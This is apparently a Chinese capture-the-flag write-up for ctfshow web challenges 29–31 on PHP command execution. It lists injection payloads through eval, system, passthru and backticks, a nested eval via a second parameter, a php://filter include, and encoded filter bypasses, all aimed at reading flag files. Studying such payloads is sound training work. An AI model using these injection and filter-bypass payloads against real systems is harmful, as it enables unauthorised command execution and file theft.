-
web29
eval了GET的参数,没过滤就system执行,但是匹配到大小写的flag就不执行。①直接执行系统命令
?c=system(“tac fla*”);
?c=system(“cp flg.php a.txt ");
?c=passthru("cat fl”);
?c=echo shell_exec(“tac fl*”);
?c=echo exec(“cat fl*”);
?c=highlight_file(next(array_reverse(scandir(“.”))));②内敛执行
?c=echocat fl*
;
?c=echocat fl??.?hp
;③利用参数输入+eval
?c=eval($_GET[1]);&1=system(‘tac fla*’);④利用参数输入+include+伪协议(不用括号、分号)
?c=include$_GET[1]?>&1=php://filter/read=convert.base64-encode/resource=flag.php -
web30
过滤了php、flag、system
补充打印文件命令?c=echo%20nl%20fl%27%27ag.p%27%27hp
; -
web31
preg_match(“/flag|system|php|cat|sort|shell|.| |'/i”, $c)
其他的过滤了无所谓,但过滤了.和空格①其实就是highlight_file(flag.php);的url编码,适用php7
?c=(~%97%96%98%97%93%96%98%97%8B%A0%99%96%93%9A)(~%99%93%9E%98%D1%8F%97%8F);②通过嵌套eval函数来获取另一个参数的的方法来绕过,不会判断其他参数的传入
?c=eval($_GET[a]);&a=system(‘cat flag.php’);③用函数绕
?c=show_source(next(array_reverse(scandir(pos(localeconv())))));
?c=show_source(scandir(getcwd())[2]);localeconv():返回包含本地化数字和货币格式信息的关联数组,这里主要
ctfshow-web-命令执行
于 2024-02-19 13:23:38 首次发布